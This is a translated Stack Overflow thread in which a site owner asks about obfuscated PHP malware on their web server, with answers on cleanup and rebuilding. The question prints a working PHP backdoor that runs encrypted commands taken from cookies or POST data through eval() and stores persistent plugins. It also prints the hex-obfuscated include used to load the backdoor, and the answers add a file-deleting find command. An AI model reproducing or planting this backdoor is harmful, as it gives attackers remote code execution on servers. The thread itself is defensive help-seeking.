我的网站被混淆的PHP恶意软件感染了 - 它在做什么 + 我该如何摆脱它?

18

我有三个网站,它们都托管在同一台Web服务器上。最近我正在处理其中一个网站时注意到,大约一个月前,一堆文件已经被更改了。具体来说,所有的 index.html 都被重命名为 index.html.bak.bak,并且 index.php 文件替换了它们的位置。这些 index.php 文件相对简单;它们包含在每个网站文件系统中的某个隐藏文件(似乎是随机文件夹),该文件已使用JS十六进制编码进行混淆,然后回显原始的 index.html:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

这里包含的文件是

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

在另一个域名上,它是

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

你可能已经猜到了,这些实际上不是网站图标 - 它们只是带有不同扩展名的 PHP 文件。现在,我不知道这些文件具体作用(这就是我在这里询问的原因)。它们被完全混淆了,但是https://malwaredecoder.com/似乎能够破解它们。结果可以在此处找到,但是我已将反混淆后的代码粘贴在下面:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

此外,网站的某个内容文件夹中有一个名为init5.php的文件,解混淆后尽可能变成以下内容:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

我看得越多,似乎有越来越多的混淆PHP文件,这有点可怕。真的有很多很多。甚至WordPress的index.php文件似乎也被感染了;它们里面添加了混淆的@include。另外,在一个网站上,有一个名为"ssh"的文件,似乎是某种二进制文件(可能是'ssh'程序本身?)

有没有人知道这些是什么或者用来做什么?它们是怎么进入我的服务器的?我该如何摆脱它们并确保它们永远不会回来?

其他一些信息:我的Web主机是Laughing Squid;我没有Shell访问权限。服务器运行Linux、Apache 2.4和PHP 5.6.29。谢谢!


9
你有这些文件在感染前的备份吗?最好的选择是彻底清除服务器并重新设置所有内容。你不知道还有什么其他文件被感染了,所以没有必要去寻找或冒险去处理残留的文件,最好从头开始重新设置一切。 - gen_Eric
8
它可能试图向访问您网站的人提供恶意软件 - 关闭该网站 以限制它对他人可能造成的损害,确保您有任何重要内容的备份,然后彻底删除并从头开始重建 - Quietust
8
更改密码以访问您的主机。删除所有文件。从备份恢复。请记住,他们现在知道您的数据库密码。如果您与您的主机访问共享此密码,则他们将完全控制您的帐户。 - Matt
2
很不幸,我们没有备份,但是没有什么重要的东西不能重新做 - 只是浪费时间重新构建网站而已。从现在开始将进行备份。唯一的问题是有许多媒体文件我们想要保留 - 那些已经存档了多年并且有点重要的东西。有没有办法确保它们没有被感染并安全地存档呢? - W Biggs
1
你需要阅读《如何处理被入侵的服务器?》(http://serverfault.com/questions/218005/how-do-i-deal-with-a-compromised-server)。 - user3942918
显示剩余6条评论
6个回答

9

此时,您无法相信服务器上的任何内容。

  • 重新安装操作系统

  • 使用干净或已知好的数据库版本重新安装代码。

此时,仅替换/删除“坏”文件没有用,因为攻击者可能会做任何事情,范围从“什么也不做”到用黑客版替换系统级软件以执行任何所需操作。举个例子,有一次有人在编译器中编写了恶意软件,因此即使可执行文件被重建,该恶意软件仍然存在,并防止调试器检测到它。

虽然有各种清理工具可用,但它们依赖于知道/检测/撤消攻击者可能做的所有事情,这是不可能的。

如果您有良好的每日备份,可以对“现在拥有的”和“之前拥有的”进行diff比较,查看发生了什么变化,但是您仍然需要仔细检查或还原数据库,因为许多攻击涉及更改数据而不是代码。


2
是的,这就是我最终做的。 - W Biggs

2
这不是需要毁掉您的网站和服务器的黑客攻击,只是一种php黑客攻击。清除所有恶意的php文件和代码,您就可以解决问题了。以下是我在Drupal上的操作步骤:http://rankinstudio.com/Drupal_ico_index_hack

1
这太棒了。刚遇到这个问题,这个东西就像救星一样出现了。 - Jayesh
3
不,这是一个严重的后门。它允许攻击者在受感染的服务器上执行任何PHP代码。仅仅删除后门并不能消除通过这个后门修改系统的其他可能性。在最坏的情况下,可能已经上传并执行了本地漏洞,以获取特权系统访问权限。 - Axel Beckert

1

我不得不自己编写一个PHP脚本来扫描整个服务器树,列出所有目录路径,并扫描这些路径以查找感染。只能部分清理,但提供了非常需要的帮助。

注意:
它写得很糟糕,可能在使用后应该删除。但它帮了我一个大忙。

一个压缩副本在这里
没有保证;在上传之前解压缩并查看您放在服务器上的内容!

更新:现在可以清理更多(但不是全部!)。请手动清理(见下文)。


zx485,感谢您的编辑。 在最终清理服务器后进行跟进。使用“压缩副本”,但是脚本不够彻底,这是一个紧急修复。 运行时,请立即按照以下步骤操作-尽量不要晕倒: *将服务器的副本FTP到本地计算机。 *搜索并列出所有PHP文件(CMS的好运) *从实时服务器中找到并删除所有找到的“无意义”。php文件(本地搜索会给出位置) *在实时服务器上打开每个脚本报告的“受感染”文件并删除感染(例如使用Filezilla >>编辑) *删除所有“无意义”的.ico和.jpg。 - user2528858

1
我曾遇到同样的恶意软件。该恶意软件添加或修改了10至15个文件。我使用了免费的Quttera WordPress插件来查找这些文件。大多数文件可以直接删除(请注意,Quttera会识别出更多未受感染的文件),但是一些WordPress文件已被修改,必须进行替换。

0
我也遇到了同样的问题。 这是由于恶意的http post请求引起的。 以下是一篇关于如何阻止它的好文章: 在 .htaccess 文件中添加以下内容就可以停止所有post请求。 https://perishablepress.com/protect-post-requests/
# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>

5
可能会有用,但也会停止大多数网站的工作。有什么方法可以仅阻止非源自该网站页面的POST请求呢? - Itai

-3

我还没有找到如何防止这些文件出现在我的服务器上,但我能够摆脱它们,这里有一行代码可以遍历文件夹并将它们删除:

find . -type f -name 'favicon_*.ico' -delete -print

6
你应该放弃整个服务器,它无法被挽救。 - Falci
我知道已经有一段时间了,但这并不值得让你的服务器崩溃。你的内容中可能存在恶意的 PHP 代码。在所有表格上运行一个数据库搜索,查找 <?php。 - Rankinstudio

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接